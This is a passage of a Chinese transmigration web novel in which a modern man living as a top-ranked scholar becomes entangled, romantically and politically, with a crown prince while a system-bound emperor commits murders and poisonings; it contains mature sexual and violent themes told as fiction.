春日的柑橘与草莓少见,就是真有,也不会有后世那般甜。
边吃,晏城边思索自己眼前的困境。
一无所知的陌生王朝,一无所知的陌生人。
只一张皮囊,晏城就得演出原身骄矜的性子,与夺人耳目的才华。
演不出啊,晏城这性子就不可能与骄矜挂上钩,他爸数十年如一日的恳恳教导,让他懂得虚心。
骄兵必败,虚心使人进步。
山外有山,天外有天。
“怎么办呀!”
晏城抓挠散落的长发,纱帽被他搁置一旁,远远的,不敢触碰。
那并非他能拥有的成绩,晏城咬唇,是原身苦读数年得来的辉煌。
大/三/元,这脑子怎么长的,年纪轻轻就这么会!天才都得跪你,期末考我天天挂你。
不过,原身大/三/元的身份,王朝仅有的三学子之一,怎么在书中,就无藉藉名?
伤仲永,泯然众人矣,还是死得早?
“算了,不管啦!还是想想怎么度过后面的鹿鸣宴吧。”
鹿鸣宴,礼部为诸进士举办的恭贺宴会,会有高官临宴,甚至有皇子帝王亲临。
若能在鹿鸣宴上一鸣惊人,那前途,可是自个铺就一条锦绣路。
太子……
太子叫啥名来着?
抓耳挠腮使劲想,晏城才总算从表姐表妹嘴里捞出点,从记忆深处挖出点。
表姐:“皇子宗亲轮到元字辈,皇子以玉为旁,比如谢元珪,那太子怎么就叫谢知珩呢?”
晏城唇瓣随思绪而微动,念了次谢元珪,又念了好几遍谢知珩的名。
天后闺名有芝,狗皇帝前期爱天后爱得死去活来,压下无数怨语恨言,都要让太子改元为知。
谢知珩,整本书的反派。
身居高位,但人阴晴不定,时而笑对众人,时而冷脸怒斥,将人压入天牢,施以极刑。
“我好像被他盯上了。”
回想游街时异常的感知,浸透骨子的冷,让晏城不由得身颤,唇齿都发抖。
透过望远的琉璃镜,谢知珩能看清房间内晏城的一举一动,他的颤抖与惧怕,都在琉璃镜中展现,无法躲开。
谢知珩:“他好像很怕孤,似乎孤会杀了他一般。”
懂唇语的宫人奉上她听得的名字,有一名她不敢填,只写了晏城细微颤动,吐露的名字。
“谢元珪,五弟与状元郎从未有任何交集,连孤的名字都得念几遍才想起,怎五弟就这般受他看重?”
“如此看重,想来五弟,是大有作为啊。”谢知珩轻笑。
他的笑声不大,引得满室的宫人伏跪,莫不敢言。
素来蠢笨无为的五皇子,只瞧一眼便知无明君之为,如何能称大有作为。
只一个答案,帝位的承袭人,未来的皇帝。
可太子仍在,五皇子如何登基?
李公公:“许是状元郎一时口误,或是潜春听错。”
潜春口不能言,只能点头,以示赞同李公公所言。
“或许吧。”
谢知珩撑着脑袋,睁开凤眸,说:“再看看,状元郎能带给孤那些惊喜。”
19. 第 19 章
“殿下,林统领使人送来的信。”
屏风外有人站立,不劳烦紧随的宫人,李公公特意走上去,接过这信。
听是林统领派人,谢知珩才勉强撑起精神。
他仍在病中,经游街的热闹,与花楼数不尽的殷勤,眉目点染些许倦意。
没去接,谢知珩等宫人替他念读,眸眼低垂,似陷入周公境里。
“问殿下安,臣受命严问那几位学子,据各位于国子监得来的学识不同,问出无论哪本史籍,或古地,都不曾有渔阳二字。”
李公公:“史籍与古地都找不出,这几句可别是状元郎兴起而创?”
他眉头紧锁不散,垂落的眼睫压得半张脸陷入昏暗中,握拂尘的手也收紧。
“自作讽古还是借用他人诗句,只需问状元郎便可。”
谢知珩揉了揉眉眼,饮尽浓茶,手撑着铺满软皮的桌面,走过屏风。
长廊伴着垂落的珠串,不再悬挂灯笼,透亮如玉的琉璃盏高悬,照得整个花楼亮堂堂。
才走出房间,伺候的花楼侍女捧来案几,浅绿的茶汤,润得花瓣轻开,让谢知珩有一些好奇。
李公公取出细银针,点茶汤试毒,才接过案几给谢知珩。
“许是与熏香有关,殿下。”李公公提醒。
花茶新奇,也不知花楼哪来巧思,让花香浸透茶水里,初尝时不觉苦涩,余味常有。
可又不纯粹,谢知珩想,怕是往里添了些东西。
只为解,满室的热意。
待在屋内太久,醉意混着热涌上心头,晏城撑着淌着细汗的额头,未束的发丝扰得他躁闷。
“皮筋,古人留长发,夏天不热得慌吗?”
晏城起身,绕着屋子去寻、可搜遍所有,也找不到松紧的皮筋,只有几条丝带。
薅过长发堆在胸前,试图为自己织个三股麻花辫。一根绕着一根,绕得晏城都头晕,甚至部分都重复插进,毫无美型。
发带在尾部缠绕许久,晏城好不容易打个蝴蝶结,才放下心,松手时不小心一扯,全掉落。
发带散开,麻花辫也将散不散。
“……”可恶啊,晏城都想剪了这头长发。
烦死啦,本来人就烦,今天特别烦躁。
晏城扔了发带到床头,双手叠放在桌上,下颌抵着,放空自己。
用过的餐碟被撤下去,只装有醒酒汤的白瓷仍在,就这么紧贴,姜的浓味逸入鼻尖,惹得晏城不适。
同时,浑噩的头脑也清醒不少,晏城推开白瓷,伸长手臂做拉伸。
奇奇怪怪,房间似乎有点不对劲。
晏城起身去推开窗户,湖风涌来,不吹来清新,吹来胭脂香粉。
指尖能触碰初春的寒意,脸颊却泛起微微燥热,晏城咬咬牙。
他要么醉了,要么被下药了。
是谁要谋害他呀,他就个状元。
听旁人说,此身父母早逝,仅有恩师恳恳教导,不至于……
窗外吹来的风大了起来,寒凉自身后袭来。
晏城转眸望去,那身青色衣裳早已换去,显贵的淡紫衣袍,精绣的回云纹装点袖口,配着随头发垂落的发带。
嗯……
太子会不会绑头发,可以让他帮这个小忙吗?
“你敷了脂粉?”
太子正式见他的第一面,脱口而出的便是这句。
晏城很气:“我个大男人,抹什么脂粉!又不是娘们唧唧,涂什么胭脂。”
“时人不以涂脂抹粉为耻,也别对着他人道,娘们唧唧。”谢知珩走上前,他推开的门,自有人为他关。
晏城不解:“为何?”
“孤怕,你被那些女公子欺负。”眸底涌上的笑意浅淡,谢知珩站在离晏城不远的地方。
两人身高相差不大,有风吹来时,衣摆呼呼扇动,长发也知风舞动。
“女公子?”晏城低声喃喃。
是那些着男装的女儿家吗?可他个大男人,哪会被她们欺负。
谢知珩靠着桌沿而站,对方诸多情绪常不掩饰,甚至心头碎语也因此吐出,不留下刻。
“不会被欺负?现在的你,不就被她们欺负了吗?”谢知珩轻笑。
游街过后状元袍就被换下,可不知是巧还是刻意,晏城着身上的这衣袍仍旧是艳红。
内侧的白领挤出外袍圆领,受红浸透,映衬在晏城脸颊,微微泛起。
或许是酒点起的醉意,也或许是房间燃不掉的熏香,惹得才初春,就漫上层层春意。
“她们也太放……”晏城低喃道,思索几番,便就想透。
太放浪了,作者到底参考了几个朝代,设定东一啷当,西一啷当的。
混得太杂,晏城难以从所学的知识里,择出更佳的礼仪来。
每一步走得太慢,又磕磕巴巴,比初学的稚童还要艰难。
哪怕前方无博古架、屏风遮拦,晏城也觉无力,掌心借助木桌才勉强站稳。
“?”
谢知珩挑挑眉,与人对视,那双含情的桃花眸,似秦淮水脉脉,又因燥热而迷蒙,如闯入烟雨朦胧中,薄雾氤氲。
“很热……”
熏香将醉意抹开,只沉淀在心头的热意蔓延,受他急促的呼吸,缓缓掌控身体的全部。
本只搁置桌面的手指颤动,过于温热的触感,贴着手背滚烫,谢知珩垂眸看向晏城不经意的举止。
微微贴近,谢知珩揽住他一侧肩膀,呼吸清浅,说:“你要做什么?”
“不知道,我脑袋嗡嗡的,太热了。”
晏城说话时,呼吸洒在谢知珩脸侧,明明不烫,却惹得谢知珩微微偏头,要逃离般。
下刻,谢知珩又转眸再次望向晏城,水润得眸眼灵灵,热火灼烧得眼尾艳丽。
花瓣型的眸眼,于尾处经春侵袭,点了些许桃花的情色。
谢知珩:“真奇怪呢。”
指腹揉搓晏城眼角,一遍又一遍的抚过,好似捉住春意般,囚住春日般。
“疼…好疼……”
力度微大,刺得晏城涌出些泪珠,他紧抿唇,低声与谢知珩委屈撒娇。
沿着脸颊弧线,在唇角滞留。
晏城似感知到什么,抿着不放的唇微启,含住谢知珩指腹的一角,湿润的热物裹着指尖好烫。
桌沿挤着腰部略痛,谢知珩以手撑着,坐在桌面。
呼吸被攫取,
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连口腔都染上陌生气息,素未与人有过这般亲密举止,谢知珩垂眸不言,不反抗。
偶有些过时,谢知珩会轻拍晏城的脸侧,让他放松。
谢知珩:“孤受不住。”
越发过分时,谢知珩敲响了桌子,门外候着的李公公推开走进。还没越过屏风,李公公就被谢知珩唤停在屏外。
殿下的声音含糊又哑,又断断续续,被堵住般,说不出个完整句子来。
“殿下,可是需要臣送些东西?”
李公公低垂眼眸,瞧地瞧飞起的纱帘,也不曾抬头半分。
扣入指缝的手太紧,囚困住谢知珩的每一次侧眸,可晏城次次逼近,都是谢知珩纵容所为。
关不紧的窗户,被风拂动,合拢时又虚虚掩着,活似刻意为的牢笼,谢知珩连双腿都施展不开。
“松开点,你靠得太近。”
文弱的状元郎,若想挣脱对方的束缚,其实很容易,哪怕谢知珩病意未散。
“不……臣好热,殿下好冷,受寒了吗?”
怀里拥着与玉一般凉的人,晏城自是不愿松开。对方越是不想同人靠太近,晏城便越是往前贴,如强摘高枝般。
淡紫的衣袍,由谢知珩紧紧抓牢,每处细丝织就的暗纹,随布料的起伏,凝聚在谢知珩指下。
此处起起彼处伏伏,好似他执掌下的江山。
“哼!”
剧烈的痛意惹得谢知珩承受不住,身体颤抖,像是赤脚站在冰雪中。
他伸手推着晏城,青筋根根分明,缠着指尖,隐没在晏城嘴边。
牙咬得紧绷,谢知珩问:“你会吗?就往孤身上扑。”
晏城埋在他脖颈处,细微的摇头幅度,从未有的体验,没有任何经验。
松散的三股麻花辫,支撑不住般,滑落在谢知珩胸前,堆堆叠叠,是秋日翩舞的落叶。
屏风外始终站着的李公公听此,甩着拂尘,眉眼紧锁不开。
幸得寻物的宫人捧着案几,轻声走进,跪在谢知珩脚下,灰白的眼眸,映不进任何画面。
“呈上来。”
难以挣脱,也难空出手来,谢知珩只好让人摊放在桌上。
专用于龙阳的书,白瓷瓶装有的膏脂。
李公公不乐:“太过匆忙,雅林苑内只备有这等劣质膏品。”
谢知珩勉强撑起半个身子,翻过书籍的每一页。雅林苑能邀约的画师,其画技不及宫廷画师,自是粗鄙,不能细究。
“不好看,好丑。”晏城闷声说。
重意不重形,即使为春宫画师,也多细刻书中两人的情意缠绵。
“……”
“别贴太近,也别扯孤。”
“可我看不清楚啊。”
晏城仰起他略带水雾的桃花眸,一片迷离中,也只谢知珩淡紫衣袍亮眼。
谢知珩咬咬牙,指尖触碰到瓷瓶,逸出的香味浓艳,太过贴满室的情暧。
朝堂上居高而视的凤眸于此刻低垂,薄唇抿开,在次次抚玩中抹了数次红艳,又再次贴在晏城嘴角处。
“孤教你。”
压制于喉咙的轻声,混杂沉重凌乱的呼吸,融入熏香,将整个房间点得炙热。
20. 第 20 章
太子居东宫,因以东宫表太子。①
“东”时属春,色属“青”,晏城踏入这位居宫城东边的殿室时,映入眼眸的,是墙瓦的青色。
虽后世人常蔑称青色,绿帽巾与青楼,将青色贬入尘埃,同青丘狐狸般,涂抹艳魅的色彩。
可象征权力的鼎与玉玺,都以青色为主,过古的文化也刻载于青色竹简上。
主来源青铜器与甲骨文的青色,对文化与权力有不小的影响。
是此,晏城走进东宫政事堂时,被奏折簇挤的太子,身着青色衣袍,竹兰的暗纹装点修饰。
又换了一套,这几日,晏城从未见过谢知珩穿二次复用的旧衣,具是织就好的新衣。
好奢侈,但他自己也是。
晏城在心里唾弃自己,差点被封建的特权洗了脑,沦入他人的甜蜜陷阱里。
要提起心来,眼前这位可是小说里最大反派,谈笑间,人命只是他言语中的数字。
宽袖遮挡下,晏城紧握成拳,迫使自己清醒。
“要吃些东西吗?”
谢知珩抬眸扫了晏城一眼,心思太易看穿,他曲起手指,将李公公端来的糕点推至晏城面前。
专供皇室的庖子,为讨他们欢心,庖子可用尽了心思。
属春时,庖子于糕点上雕琢了早春的梅花,枝头暗浮在花瓣中,只品尝时太勉强看清。
为显得文雅,庖子居在其中临上诗句,似要惹得春色满园,关不住。
这种小细节,就不需要太多了吧,晏城无奈,对准那花瓣,狠狠咬了下去。
“嗯?一点也不甜。”
晏城挑挑眉,入口初尝的是梅花香,盈满口腔,细细品味时,还真似处于春梅园中。
最最重要的是,完全不甜,糖放得刚刚好。
且覆上梅糕的白色粉末,晏城放入嘴中试了下味,居是糖粉,如此珍白的粉末。
晏城大惊,那些作者害他,让他误以为古代糖都是紫红色,呈块状。
或许,紫红色糖块仍有,不过流行于民间,精贵的白糖只供用于皇室。
不愧是皇室,不愧是太子,用的东西就是精贵。晏城恶狠狠的又往嘴里塞了一块。
见一碟用尽,谢知珩合上绿壳奏折,偏眸看了眼服侍的宫人。无需他开口,伺候久了,眼尖的宫人默默领了谢知珩的令,端起空碟走出。
“?”
干嘛去?
晏城后仰身子,四脚的靠椅被他踮起前两脚,视线紧随宫人的离去,下颌高高昂起。
“郎君可得小心点。”
站在谢知珩身侧的宫人,扶住晏城要倾斜的扶手,轻声温柔道。
被唤了声的晏城回过神来,同宫人对视一眼,恍然间坐正,回:“谢谢,三……”
后续的话语在喉咙止住,随着晏城因吞咽而滚动的喉结,压了回去。
好险好险,差点暴露了。
晏城轻拍胸脯,对呼吸的感知强烈起来,越是注意,他越是紧张,几快大口呼吸。
“退下吧。”
谢知珩挥手,他话音落,殿室内伺候的宫人福身,退离内室。
没几刻,室内只余他们二人。
谢知珩酌了盏白水给晏城,说:“你太紧张自己,怕被他人看穿自己穿越的事实?”
“?”
“!!!”
作者,你开的金手指是否有些大了!
这是反派?不会是反串的主角吧,晏城甚至想晃出那作者脑子里的浆水。
“很惊讶?”
谢知珩被晏城受情绪控制,而不断改容的举止逗笑,恰巧他方处理好朝务,可陪晏城说说话。
谢知珩站起身,掌心覆在晏城左肩处,轻笑:“太容易看穿,你后面那句,三会接什么?”
“三克油,是吗,郎君?”李公公笑着跟随谢知珩脚步,说出的话语让晏城心态差点崩溃。
靠!
这是古代吗,这是穿书吗,我是进了个地狱吗?
李公公:“去看看郎君你的同伴,他们在天牢里,过得可舒服。”
仍处呆愣中,晏城像被摄住魂的傀儡,被谢知珩牵住。
游廊抄手,湖水假山,具紧着中央的青铜鼎。
晏城环视左右,不见暗藏的密室,只有大片的院落。
东宫院落不少,自太子妃病逝,后院便空荡起来。不愿使其荒废,也不愿让那些学子安眠在蛇鼠生存的牢狱里,李公公便将人安置此处。
锦衣玉食供着,羽林卫控制他们活动范围,牢牢将人困守于此。
李公公:“殿下待他们好极了,不曾轻待过他们,郎君可放心。”
毕竟,诸位头顶国子监学子的身份,谢知珩还不想得罪不怕死、又极其护短的清流一辈。
话虽是这般说,还没走近,晏城便嗅到一股浓浓的血腥味,搁置院落无数的艳花,都遮掩不了奢华宫殿的阴森与血腥。
有些不敢走近,他顿住的同时,谢知珩也转眸看向晏城。
“怕了?”谢知珩轻声问,指尖缠上晏城鬓角垂落绣有金丝的发带,“别怕,他们与你不同。”
李公公:“膳房方做了些点心,郎君可愿品尝几番?”
“……”
晏城张张嘴,哑住般,无法倾吐半句。最后,他紧紧闭上眼,跟着谢知珩离开东宫。
满腔的血腥味不散,心头涌上的惧怕锁住晏城四肢,任由谢知珩推着他走离。
他,有些不想在东宫借住了。
没在东宫居几日,探揪官员错误的御史像嗅到血肉的豺狼,一封又一封的奏折上传天听,惹得谢知珩烦躁。
连三省宰相也频频拜访东宫,一声劝着谢知珩,可别误人学子前程。
还没替同伙的悲惨遭遇同情几分,快快迎面来的困难挫折,直接绊倒晏城方迈出东宫的一脚。
“礼部于五月设鹿鸣宴,还望殿下替状元郎着想,可别误他前程。”
“八月进士就得入除班,候吏部授职,殿下可不得囚状元郎太久,不可贪欢过多。”
……
最早五月,最迟八月,谢知珩便得放状元郎出东宫。
性暴躁的吏部尚书,在小朝会间,差点指着谢知珩怒骂道,言他耽于蓝色,荒弃朝政。
几日来兢兢业业,数年来不曾荒废半日的谢知珩,被骂得连反击都不可。
最爱以褒语言贬意的周尚书,捧上的问好奏折里,差点指着谢知珩脸面骂街。
“殿下?”
李公公为此担忧,谢知珩病才刚好,受不得如此轻言。
困于言语旋涡里,又免于受害,晏城急忙收回出宫的脚。
好怕顶顶顶头上司给自己穿小鞋,宰相尚书骂得可欢乐,而
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无奈受牵扯的晏城,欲哭无泪。
这波劫难,晏城是不愿承受,也得接着。
谢知珩瞧出他的不快,某次小朝会间,让他与李公公同站,站在记载史书的史官身后。
会怎么写,会怎么出招,晏城很是好奇,伸长脖颈去看史官落下的每一笔。
注意力不够,晏城只能管好眼前的一亩三分地。
史官见他,以为殿下是为状元郎铺路,往后授予史官一职,分担他不少工作。欢喜地往后站几步,与晏城并肩,小声分享他记史的小技巧。
突然受人教导,晏城胡乱地点头,记下史官传授的每一句话。
堂前的争吵声忽然停住,晏城抬头看去。
不看还好,一看吓了一跳。
宰相尚书的怒言,在谢知珩垂泪的那刻,齐齐缩回腹中。
不敢怒,不敢骂,他们低声安抚似不知自己落泪的谢知珩,如太子幼时那般,安抚殿下受伤的心。
他们咬咬牙,不就个中了大/三/元的状元郎,殿下受的委屈太多。圣人、天后与太子妃接连不伴身边,小殿下又惧怕太子过多,偌大的东宫,似无一人可陪殿下。
心里虽在滴血,乔尚书却是第一个弃械投降的人:“不就个状元郎嘛,殿下愿收入房中,那便收入房中。”
“是的,殿下欢喜便可。”诸臣点头,认同乔尚书的话。
“好手段,殿下这手阳谋,逼得诸位宰相,不得不捏鼻子同意。”史官咬咬牙,执笔载入此事。
“……”
“…………”
小朝会。
身为太子,执掌王朝的谢知珩,居然当着宰相的面,露出这般脆弱的面孔,晏城一时说不出个什么东西来。
真哭了?
晏城好奇地探长脖颈,贴着大柱,想看清此刻谢知珩的模样。
还没看清多少,就被李公公挡住身形:“郎君还是安分点,相爷们此刻心情可不佳。”
小心方才对准太子的唇枪舌炮,立即轰轰朝向你,到那时,连太子都不一定护得住你。
“……”
晏城无奈又怕,只得缩在史官身后,不敢让宰相捉住他任何错误。
闹剧过后,小朝会又回复先前热议纷纷的场面,你一枪我一舌的,菜市口的喧哗都不及此。
上一秒还处同一阵营,下一刻便因政见不同,骂得不复文人风雅,泼妇都超不过他们,大抵吧,晏城在心里想。
卧槽卧槽,这句骂得有点脏啊,对面中书令的脸都青紫大片,后涨红得活似猴屁股。
史书又是如何记载,晏城看向史官,书中笔墨方干,陆仆射的话一字不差全记入。
后人看了,脑袋不嗡嗡的,晏城当场跟他姓。
朝会过后,晏城跟随李公公再回东宫,只是此刻心中,充斥着小朝会中重臣的一言一行,以及真能过审的惊讶。
前方的欢喜还没退散,谢知珩递来的厚重书籍,压得晏城直不起身。
谢知珩点点其中重要的基本集注:“孤不知你学识如何,可你担了状元这身份,就得受下去。”
状元,什么最重要?自然是满腹的学识。
“卧槽,这么多!”
有他半人高的书堆,晏城眼前一黑,自喉咙涌上的液体,乌黑的,喷溅谢知珩太子常服上。
晏城:“好晕,头好痛…”
21. 第 21 章
毒血乌黑,溅落衣摆,像焰火灼烧布料般侵蚀,也似为盘旋的五爪金龙点精。
血腥味过浓,几近吞食殿室终日不散的龙涎香。谢知珩伸手抹去晏城嘴角参与的黑血,垂眸嗅嗅,分辨不出半分药味。
无色又无味,连银针都探查不出。
视线趋于模糊,掌心撑在桌面,似未站稳般身体摇晃,剧痛引发无力,晏城往谢知珩方向倾倒。
桌角略凸起,谢知珩忙以手捂住,另只手搂住人腰肢,让他贴着自己,微微缓和下涌于心头的不适。
谢知珩:“查查。”
自晏城居于东宫,他便与谢知珩同饮同用膳食,断不可能出现他毒发,而谢知珩安然无事。
李公公方走出内室没几步,唤着头痛无力的晏城睁开眼,桃花眸不再模糊,琉璃镜抹开水雾那般澄澈。
先前的痛楚模样,是昙花一现,掠夺方寸光阴似的。
“好像不痛了?”晏城困惑不解,指腹揉着太阳穴说。
谢知珩语带担忧,指腹覆上晏城脸侧,替他揉了些:“真不痛了?”
晏城点点头,他抓握谢知珩的手指。烫热的温度触碰时,谢知珩不禁略有颤动,顺着他插缝时,也微微弯曲。
“别靠太近。”
谢知珩眉睫低垂,凤眸悠悠垂向他处。初愈的身子骨,哪怕春暖,也带着浓重的寒意。
还未养成束发习惯,晏城留了许久的长发,因他侧枕在谢知珩颈间,而四散辐开,沿着每条金丝,重重围裹高昂的龙头。
“真不痛?”仍有些担心,谢知珩再问。
晏城摇头的幅度不大,柔软微翘的发旋顶着谢知珩下颌,涌来细微的痒意,与不可察的微妙。
“好奇怪,来得那么凶,退得却悄无声息。”
晏城十分不解,眉头皱起,压着山根:“他是真想让我死吗?还是另有所谋?”
若要以状元郎的死亡或重伤大做文章,最佳时机还得是游街夸官时。
炸跃的爆竹,星线状的火线辐散,跌落淮阳巷,点燃数不尽的花枝绢花,与收不回的朱红细纱。
惊怕声,夹杂夸官的喜乐声,共同织就高坐大马的状元郎,喷涌的乌黑毒血。
天公不作美,文曲星逝于金榜题名时。
晏城几乎可以想到,文人的笔墨与言语化为看不到尽头的黑线,死死压在皇城之上。
高居皇宫的、仅有太子,越俎代庖,执掌殿试。
天降灾恶,唾弃太子的不忠,与不孝。
满身污名,铸就文字下的反派。
可天公又作美,状元郎没死。
晏城还没细想,他很多埋藏心里的话术,与藏不住的同情,在抬头与谢知珩对视那刻,赤裸裸展露在谢知珩眼前。
晏城:“我的命很值钱吗?”
谢知珩轻笑:“难用币帛来衡量你的价值,孤大抵清楚何人所为了。”
他话音落,内掌东宫的秦嬷嬷快步走进来,于屏风外回缓急促呼吸,整理衣襟后,才款步走进来。
见屋内状元郎仍在,秦嬷嬷福身后,不知该否出口。
“嗯。”谢知珩微仰下颌,指尖曲起,轻敲扶手。
而他怀里的状元郎,在见秦嬷嬷后,便闭眸装睡,企图逃离。
晏城很清楚,有些事情,非礼勿听,有些秘密,非礼勿视。
秦嬷嬷:“殿下,艳阳宫出事了。”
艳阳宫?那不是皇帝被囚禁时居住的宫殿吗,怎么还能出事。是有人刺杀帝王,还是有人把皇帝救出来了,或者狗皇帝死了。
晏城在心里琢磨,整合所有他获取的信息,牙尖咬着脸腮。
“想听便听,非禁内阴私。”谢知珩以手为梳,梳理晏城思考时微微翘起的发端。
得了准许,晏城抬起头,不再装睡:“所以,狗皇帝死了?”
秦嬷嬷:“……”
是否有些恃宠而骄?仗着殿下屈居身下,状元郎便敢出言不敬。
谢知珩勾起他跌落自己领口的细发,眸光流转生辉:“注意点,鹿鸣宴可不能这般不敬天,不敬帝。”
“我会注意的。”
晏城点点头,身处阶级森严的封建社会,祸从口出。
谢知珩转眸又想了会:“八月进士入除班,吏部授职,你可有想入的官署?”
晏城划过所学的历史,三省六部,翰林内阁,五监九寺。
从小朝会情况来分析,皇权还未高度集中,宰相仍在,探讨政务时有赐座,有借鉴唐时官署部门。
谢知珩吻着指尖的发:“先入翰林,再入六部,外放出京,积得功绩,再回京。”
回京后,或居侍郎,或居尚书,再由尚书升至三省,权至宰相。
“翰林院一般做什么?”晏城问。
谢知珩:“编撰儒经,修撰史书,与书籍共侍。”
“……”
汗牛充栋,晏城似嗅到盘旋不散的书墨味。
好不容易大学毕业,穿越直接入职公务员,晏城着实不想再看到他。
堆在桌面的儒经集注,与他没来时,大爹送的考公资料书没区别,都是折磨人的坏东西。
“不喜欢?”谢知珩察觉他的注意,桃花眸里的湿润,与委屈。
晏父:“快快,这可是你爸好不容易问部门里的小姑娘借的,快学学,以后也考进来!”
晏城无奈:“你就不能直接把我搞进去吗?”
晏父打了晏城肩膀狠狠一巴掌:“别想害你爸,你爸还想稳稳当当退休,不要晚节不保!”
“唔……孤倒是可以,但翰林院文人清流众多,他们惯以诗句,惯以经史。”
不曾动容,此时谢知珩紧锁眉心,凤眸低垂,愁绪扰人不清:“郎君毕竟以状元身入翰林院,又乃大/三/元,孤怕郎君无法与之匹敌。”
原身的才华可服众,但后世降来的晏城,与原身数年只读儒史不同,他精专的东西不多,但对儒史的解读又不输任何人。
“满腹才华,难以施展。”谢知珩惋惜,“诗句,经史,不知郎君通知哪些?可曾在教授手下,治过哪本?”
“……”
晏城抿唇,脑子里回荡着,我是废物。
“你且仔细想想,孤会为你运转。”
谢知珩叮嘱完,转看向仍旧站在屏风处的秦嬷嬷,和缓的凤眸高挑锋利起来。
谢知珩问:“艳阳宫,何事发生?”
秦嬷嬷见晏城分不出半丝心神,抬布要凑到谢知珩跟前时,发觉无法避开状元郎,只得低声道:“林统领在艳阳宫内,翻出数具女干尸。”
“可有查出她们身份?”
至于杀害她们的凶手,已不言而喻,居于艳阳宫的高位者,也仅皇帝一人。
秦嬷嬷唇瓣发白,垂眸,眼底闪过丝缕怜悯:“李公公已去探查,审拷居于艳阳宫的采花官。”
“采花官?”
听到个熟
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悉又陌生的词,晏城仰起头,鼻尖蹭着谢知珩侧过的下颌。
只听过采诗官,采花贼,怎么皇宫还有采花官这一官职。
谢知珩被他蹭得有些痒,轻声笑说:“与你所想,一致。”
“卧槽!”晏城被惊住,身体往后靠仰,“还真跟采花贼有联系,设这官职有何用?”
谢知珩搁放扶手的手一顿,沉默许久,才哑声道:“无用,皆是为皇帝服务而已。”
采诗官,是周王朝遍寻民间诗句而设立的官职,《诗》中风的分类,大部分都是采诗官采集得来,收录《诗》中。
那采花官,怕是为皇帝,在民间寻求如花似玉的美人。
采诗官为周王室服务,采花官只为皇帝?难道太子没参与进去。
“哼…”谢知珩笑了几声,指腹抚平晏城皱起的眉眼,“你可曾见东宫,有除你以外的美人?”
嗯——
美人,嘿嘿…
听此,晏城心里高兴不已。
他知道自己长得好看,但位居权力巅峰,早览遍诸娇花的太子,不加掩饰的赞誉,还是令他高兴许久。
“殿下仍未告知我,设立采花官有何用?”
谢知珩非是贪于美色的荒淫之辈,皇帝虽好色,可他无帝王之权,空有帝王之名,为何要为此设立官职。
数具女干尸,拷问采花官。
“嘶——”晏城倒吸几口冷气,这皇帝不会入邪教,信那采阴补阳之术。
屏风外有人小步跑来,将沾满血迹的书信交给秦嬷嬷,秦嬷嬷嫌脏,用锦帕包住,再递给谢知珩。
谢知珩摊开:“雅林苑,大理寺卿上奏过,雅林苑有多名妓子失踪,但具被人压下了。”
“我当是谁,原是父皇使人压下。”他轻笑,嘴角的讥讽不散,落到秦嬷嬷身上,压得她不敢言。
笑声散去,谢知珩眼含心疼转看向晏城,那乌血已被抹去,却似仍在。
谢知珩:“是孤看管不严,倒让你受这番痛意。”
“?”
晏城不解,发生啥子事了,怎么又跟他挂上勾,他记得他可没跳剧情啊!
回档,回档键在哪!
血信裹着锦帕,扔进熏炉里,受火舌侵蚀,连字角也困入灰烬里。
龙涎香越发浓郁,谢知珩说:“采花官失职,惹如此多女子香消玉殒,罪不可逃。至于艳阳宫,宫人看管不严,让贼子惊扰父皇休息,那便换了吧。”
他的声音不大,也只晏城与秦嬷嬷听见,偶尔被熏香破散。
晏城却看见,却听见,浓郁成烟纱的熏香中,始终消散不了的铁锈味,与他人跪地的痛喊声,将整个宫室推入血色炼狱中。
“……”
本该病居在床的皇帝,此刻瘫倒在出宫室的门槛上,双手紧紧捂住耳朵,这般才听不见外头的哭声。
精神恍惚,嘴里念叨不断,皇帝:“恶魔,都是恶魔!他们可是一条又一条的人命啊!”
“在这个恶毒腐烂的社会里,连人命都成了他们嘴里的嬉笑玩话。”皇帝紧紧搂抱住自己膝盖,缩成鹌鹑。
只有脑里机械音响起,他才挪动脑袋几番。
“恭喜宿主采阴成功,获得积分5个。”
“宿主兑换毒药成功,已成功下在晏氏状元郎身上,明日便可听到状元郎毒发祸事。”
“迄今为止,宿主仍欠系统20积分,希冀宿主再接再厉,补得更多阴气,滋养自己。”
22. 第 22 章
“我需要更多,朕需要更多积分,需要更多的女人!”
屈成霖捂着因系统存在而剧烈疼痛的大脑,皇帝时值不惑之年,年轻时南北征战不休,如今的身体自是不如屈成霖未穿越时的少年身体。
系统的存在,不仅仅局限于他的大脑,更是像根如象牙似的柱钉,深深插入屈成霖体内。
他需要更多积分,拥有更年轻的身体,如此在女人身上征战四肢获得的快乐与满足,才让屈成霖有仍活着的假象。
“系统,帮朕扫描整个皇宫,有谁!能承受你的载入?”屈成霖挪动沉重年迈的四肢,扶着柱子往里走。
他每走近一步,支撑偌大艳阳宫的大柱,遍布其上的划痕越发凸显,几乎抓进这殿室的森森尸骨里。
系统存储积分不足,无法扫描,只能翻出丢弃在回收箱里的报告,展示在屈成霖面前,敷衍他。
没有任何意外,排在最前的依旧是那让屈成霖憎恨的存在,永远一帆风顺的太子。
可真是让人嫉妒的存在。
落地即为太子,父母恩爱,熹始帝不因朝堂事务,自卖自身,在后宫里雨露均沾。
也不会因保护真爱的名义,冷漠心上人,他直接正妻、后位对待。
哪怕皇后娘家,执掌盛朝大半的军队,对皇位的危险足以让任何皇帝怀疑,他们的忠诚。
太子出生后的每一条道路,都是熹始帝亲自为他铺就,无需回头,只用往前,登上那至高无上的帝位。
屈成霖几乎能回想起,曾藏匿在太极殿,又保管在琅琊王府中的诏书。
那是早早被熹始帝立下的登位诏书,黄布帛上盖满了玉玺印。是每次新年时,熹始帝在妻儿熟睡时印上的,充斥满满的父爱。
“朕也想夺舍谢知珩,可每次你都说积分不够!”
屈成霖崩溃,抓着散落的半白半黑的发,稀疏的模样,好不可怜。
地位无比崇高的,万万人之上的皇帝,于无声中崩溃,甚至连唇瓣都不敢轻易张开。
因为屈成霖怕了,在夺舍的第一日,被天后指认为非圣人时,在被谢知珩囚禁时,用慢性毒药喂灌时,被他们探知出外来系统的存在时。
他便怕得不成样。
“永远不要轻视生活在以前的人,能在史书中留有名字的人,何曾不是耀眼夺目的太阳。”
因惧生怕意,也因惧生恨意,正如可怜与可恨从不分离,惧与恨也如此。
屈成霖逼问脑中系统:“我要谢知珩死,要他死得丑陋不堪,要他被世人唾弃,被史书一笔笔贬落,成为无数人眼中的戾太子!”
与屈成霖愤恨阴沉的声音不同,系统自始至终都不受情绪裹挟:“厌胜,巫蛊,早已用在谢知珩身上。”
天后临终前的最后一言:“望你从今以后,平安喜乐。”
